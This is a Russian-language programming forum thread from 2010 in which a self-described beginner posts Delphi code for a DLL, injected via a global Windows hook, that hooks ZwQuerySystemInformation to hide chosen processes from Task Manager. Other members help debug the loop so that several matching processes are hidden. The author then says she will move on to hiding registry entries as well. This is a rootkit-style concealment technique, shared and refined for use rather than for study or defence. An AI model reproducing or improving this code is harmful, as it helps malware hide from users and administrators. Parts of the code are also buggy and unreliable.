Вопрос по zwquerysysteminformation

Тема в разделе "WASM.BEGINNERS", создана пользователем tamara2, 8 фев 2010.

  1. tamara2

    tamara2 New Member

    Публикаций:
    0
    Регистрация:
    8 фев 2010
    Сообщения:
    4
    Подскажите новичку.

    Возникла необходимость спрятать несколько процессов от taskmanager'а в NT. Сразу уточню, что раньше мне
    с системным программированием я не пересекалась, и пока использую только Delphi.

    Изрядно погуглив и перечитав различные форумы (в том числе и wasm, разумеется), я поняла, что самый простой
    (и, к сожалению, единственный для меня доступный) способ, без написания драйверов, лежит на практически всех,
    сайтах - основан на исходниках MsRemа (как я поняла) , все завязано на перехвате zwquerysysteminformation.

    Напирмер, часть кода dll, без описания классов:

    Код (Text):
    1. function NewSystemFunction(ASystemInformationClass: DWORD; ASystemInformation: Pointer;
    2.    ASystemInformationLength: DWORD; AReturnLength:PCardinal): NTStatus; stdcall;
    3. var
    4.   info,back_Proc:PSYSTEM_PROCESSES;
    5. begin
    6.   UnHookCodeHook(@SystemFunctionBridge);
    7.   Result:=ZwQuerySystemInformation(ASystemInformationClass,ASystemInformation,ASystemInformationLength,AReturnLength);
    8.   SetCodeHook(SystemFunctionBridge.Address,@NewSystemFunction,@SystemFunctionBridge);
    9.   if ASystemInformationClass<>SystemProcessesAndThreadsInformation then exit;
    10.   if Result<>STATUS_SUCCESS then exit;
    11.   info:= ASystemInformation;
    12.   repeat
    13.     if (info^.ProcessName.Buffer = HiddenProcess) then
    14.      begin
    15.       back_Proc^.NextEntryDelta:=back_Proc^.NextEntryDelta+info^.NextEntryDelta;
    16.      end;
    17.     back_Proc:=info;
    18.     Info := pointer(dword(info) + info^.NextEntryDelta);
    19.   until Info^.NextEntryDelta = 0;
    20. end;
    21. function MsgProc(code:DWORD;wParam,lparam:DWORD):DWORD;stdcall;
    22. begin
    23.   CallNextHookEx(SH,code,wParam,lparam);
    24. end;
    25. procedure SetWindowsHook(e:Boolean); stdcall;
    26. var
    27.   M:THandle;
    28. begin
    29.     SH:=SetWindowsHookEx(WH_GETMESSAGE,@MsgProc,HInstance,0);
    30. end;
    Все отлично работает, но (как я указала выше) мне необходимо прятать несколько процессов.
    Если написать

    Код (Text):
    1.     if (info^.ProcessName.Buffer = HiddenProcess) or (info^.ProcessName.Buffer = HiddenProcess2)
    то HiddenProcess2 прячется, но только если он не следует за HiddenProcess, что логично (как мне кажется), так как
    смещение происходит на NextEntryDelta, текущего в цикле процесса, соответственно можно попробовать перечислить
    (как я размышляла) процессы и

    Код (Text):
    1.       back_Proc^.NextEntryDelta:=back_Proc^.NextEntryDelta+info^.NextEntryDelta*n;//n - количество процессов, следующим за текущем.
    Но это в корне неправильно, и, как минимум, не будет работать в большинстве случаев.
    Извиняюсь за свое дилетанство, и , возможно, некорректные формулировки, но как мне спрятать несколько
    процессов (например по маске).

    Заранее благодарна за помощь и указания верного напраления для моих дальнейших изысканий.
     
  2. T800

    T800 Member

    Публикаций:
    0
    Регистрация:
    7 дек 2006
    Сообщения:
    293
    Адрес:
    Moscow
    tamara2
    Вы в таком непростом коде разобрались (да ещё он у вас заработал), а по элементарным вещам задаёте вопросы.
    И почему не написали откуда берёте указатель на HiddenProcess ?
    А что будет если на первой итерации цикла условие нахождения сработает?

    Что бы сделать "по маске", нужно обрабатывать содержимое info^.ProcessName.
    Что бы поменять не один NextEntryDelta - оборачиваем repeat исчо в 1 цикл, в теле которого высчитываем новый HiddenProcess (или читаем info^.ProcessName).
     
  3. tamara2

    tamara2 New Member

    Публикаций:
    0
    Регистрация:
    8 фев 2010
    Сообщения:
    4
    Переписала на основе примера на C
    Код (Text):
    1. function NewSystemFunction(ASystemInformationClass: DWORD; ASystemInformation: Pointer;
    2.    ASystemInformationLength: DWORD; AReturnLength:PCardinal): NTStatus; stdcall;
    3. var
    4.   Curr,prev:PSYSTEM_PROCESSES;
    5. begin
    6.   UnHookCodeHook(@SystemFunctionBridge);
    7.   Result:=ZwQuerySystemInformation(ASystemInformationClass,ASystemInformation,ASystemInformationLength,AReturnLength);
    8.   SetCodeHook(SystemFunctionBridge.Address,@NewSystemFunction,@SystemFunctionBridge);
    9.   if ASystemInformationClass<>SystemProcessesAndThreadsInformation then exit;
    10.   if Result<>STATUS_SUCCESS  then exit;
    11.   curr:= ASystemInformation;
    12.   while(curr <> nil)    do
    13.     begin
    14.             if (curr^.ProcessName.Buffer <> nil) then
    15.             begin
    16.                 if (Pos('calc',curr^.ProcessName.Buffer) > 0) then
    17.                 begin
    18.                     if(prev<>nil) then
    19.               begin
    20.                 if (curr^.NextEntryDelta <> 0) then
    21.                   prev^.NextEntryDelta := prev^.NextEntryDelta + Curr^.NextEntryDelta
    22.                 else
    23.                   prev^.NextEntryDelta := 0
    24.             end
    25.             else
    26.             begin
    27.                 if(curr^.NextEntryDelta <> 0) then
    28.                   ASystemInformation := Pointer(dword(ASystemInformation) + offset)
    29.                 else
    30.                   ASystemInformation := nil
    31.             end;
    32.                 end;
    33.             end;
    34.             prev := curr;
    35.           if(curr^.NextEntryDelta <> 0) then curr:= pointer(dword(curr) + curr^.NextEntryDelta)
    36.             else curr := nil;
    37.   end;
    38. end;
    вот именно в самом цикле и загвоздка.
    как я понимаю должно быть что-то типа:
    Код (Text):
    1.               curr2:=pointer(dword(curr));
    2.               while (curr2<>nil) do
    3.               begin
    4.                  if (Pos('calc',Curr2^.ProcessName.buffer)>0) then
    5.                    begin
    6.                      Inc(offset,Curr2^.NextEntryDelta);
    7.                      curr2:= pointer(dword(curr2) + offset)
    8.                    end
    9.                  else Break;
    10.               end;
    11.               prev^.NextEntryDelta := prev^.NextEntryDelta + offset;
    или как?
     
  4. Twister

    Twister New Member

    Публикаций:
    0
    Регистрация:
    12 окт 2005
    Сообщения:
    720
    Адрес:
    Алматы
    Да нет же. Просто создайте еще одну функцию, которая заменит Вам кучу Pos() or Pos() or Pos()... Создайте массив из строк, которые суть - имена скрываемых процессов. И в функции по циклу оббегайте этот массив, для каждого элемента вызывав Pos(). Если хоть один Pos() найдет совпадение, то немедленно выходим из функции и возвращаем значение, которое будет говорить о том, что процесс надо скрыть. Не забудьте сделать поиск регистронезависимым.
     
  5. T800

    T800 Member

    Публикаций:
    0
    Регистрация:
    7 дек 2006
    Сообщения:
    293
    Адрес:
    Moscow
    Twister
    Да какие к чертям Pos. Мальчик вообще не разбирается в предмете.
    Pos годится при работе с WideString (а тут нуль-терминальная строка).
     
  6. Twister

    Twister New Member

    Публикаций:
    0
    Регистрация:
    12 окт 2005
    Сообщения:
    720
    Адрес:
    Алматы
    А zero-terminated строка не может быть Wide? ;)
    Pos() прекрасно работает и с Ansi, и с Wide строками. Так что тут все нормально. Единственный момент - я бы во внедряемой библиотеке старался бы по-меньше использовать дельфовый RTL, юзал бы свой, как здесь (там вся дельфовая мишура вообще вырезана).

    ЗЫ. Какой же tamara2 мальчик? :)
     
  7. T800

    T800 Member

    Публикаций:
    0
    Регистрация:
    7 дек 2006
    Сообщения:
    293
    Адрес:
    Moscow
    Twister
    Pos кушат делфовые AnsiString и WideString. Размер хранится по смещению -4. См. System._WStrPos
    Есть в SysUtils.StrPos , но она для PAnsiChar. Для PWideChar в D7 нету аналога.

    ЗЫ. Ну а почему tamara2 девочка?
     
  8. T800

    T800 Member

    Публикаций:
    0
    Регистрация:
    7 дек 2006
    Сообщения:
    293
    Адрес:
    Moscow
    Twister
    Согласен. Я просто всегда пошу именно так как ты написал, не расчитывая на "понимание" компилятора.
    Но в данном месте не особо то и эффективно делфовые строки в памяти строить.

    Вот только полагаю, что tamara2 не особо понимает что "скармливает" своим функциям. Тут видно, что просто копи-пастит и пишет наобум кодес.

    ЗЗЫ. Да сказать можно всё что угодно, что бы поскорее помогли.
     
  9. Twister

    Twister New Member

    Публикаций:
    0
    Регистрация:
    12 окт 2005
    Сообщения:
    720
    Адрес:
    Алматы
    Формат дельфовых строк мне известен. Не помню точно, производит ли компилятор попытки неявного преобразования null-terminated строки в дельфовый формат (дома погляжу), но если обернуть указатель в WideString() или AnsiString(), то все будет прекрасно работать.

    ЗЫ. tamara2 вроде сама об этом сказала :)

    add: это сообщение должно быть на одну позицию выше :)
     
  10. tamara2

    tamara2 New Member

    Публикаций:
    0
    Регистрация:
    8 фев 2010
    Сообщения:
    4
    Twister, T800, спасибо за комментарии, ЗЫ. улыбнуло).

    Честно и усиленно пытаюсь разобраться в вопросе)

    Проблема (изначально) у меня не в сравнении WideChar и AnsiString. Практика показывает, что Pos в моем случае работает исправно, хотя я задумывалась присмотреться к RtlCompareUnicodeString из ntdll.

    Спасибо за совет это тоже понятно, просто пока, я, для удобства, фильтрую процессы calc1.exe, calc2.exe, calc3.exe ...

    Код (Text):
    1. if pos(mask,prs)>0 then result:=True else Result:=False;
    Загвоздка в другом.
    Попытаюсь обьяснить своими словами (не пинайте).

    Перехватив ZwQuerySystemInformation, в цикле я перебираю структуру SystemInformation, в ней меня интересует ProcessName.Buffer, и NextEntryDelta - офсет указывающий на текущий элемент. Если ProcessName.Buffe искомый, то я сдвигаю офсет на следущий элемент -
    Код (Text):
    1.                   prev^.NextEntryDelta := prev^.NextEntryDelta + Curr^.NextEntryDelta
    тут ничего хитрого нет.
    Дальше я вижу несколько вариантов развития событий (запущены calc, calc2, calc3, calc4, calc5, ...)

    1. Если процесс (калькуляторы) один или в структуре они идут не подряд все работает.
    2. Если в структуре они идут подряд, то "прячутся" соответственно calc, calc3, calc5, ... , т.е. через один,
    что и понятно, ведь я сдвигаю офсет на следущий элемент.

    Что я думала:
    Перед обработкой спросить zwquerysysteminformatin о процессах, записать их имена и офсеты в массив, потом, в основной
    функции, на основании этого массива, добавлять нужные офсеты.

    Но! Мне кажется это очень долго (возможно на asm'e быстрее - но в нем я несведуща), даже для процессов, а потом может и
    к zwquerydirectoryfile интерес появится))
    да и между вызовами zwquery в системе может что-нибудь измениться.
    (Кстати, я так и не поняла, какое имено значение хранится в NextrEntryDelta, если оно не ноль, и одинаковый ли "промежуток" между элементами...)

    Каким нибудь способом "заглядывать вперед", смотреть не искомый ли там процесс, потом дальше, и.т.д. .

    Но реализавать это у меня не получилось.
    Вот имено с этой ситуаций я и прошу совета.

    ЗЫ. Я не мальчик)
     
  11. Twister

    Twister New Member

    Публикаций:
    0
    Регистрация:
    12 окт 2005
    Сообщения:
    720
    Адрес:
    Алматы
    Поправочка: на следующий элемент.
    Смещение до следующего элемента.
    Не надо так извращаться. Все довольно-таки просто реализуется простой правкой оффсетов, надо только чуток пораскинуть тем, что несомненно есть в голове. Если в некоторых случаях вы перепрыгиваете элемент при его сокрытии, то логично предположить что происходит лишний сдвиг на оффсет. Избавьтесь от него и будет счастье :)

    Это радует. Если и желание разобраться в проблеме у Вас на самом деле такое же, как Вы пишете, то это похвально вдвойне! :)
     
  12. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    TITS or GTFO. :lol:
    или это не тот форум?
    ну дык
    Код (Text):
    1. while Pos(mask,prs)>0
    2. чтото делфовое вместо сишной{
    3. prev^.NextEntryDelta := prev^.NextEntryDelta + Curr^.NextEntryDelta;
    4. Inc(Curr,Curr^.NextEntryDelta);
    5. чтото делфовое вместо сишной}
     
  13. tamara2

    tamara2 New Member

    Публикаций:
    0
    Регистрация:
    8 фев 2010
    Сообщения:
    4
    Всем спасибо за ответы, разобралась. Сейчас буду курить в сторону ZwEnumerateKey )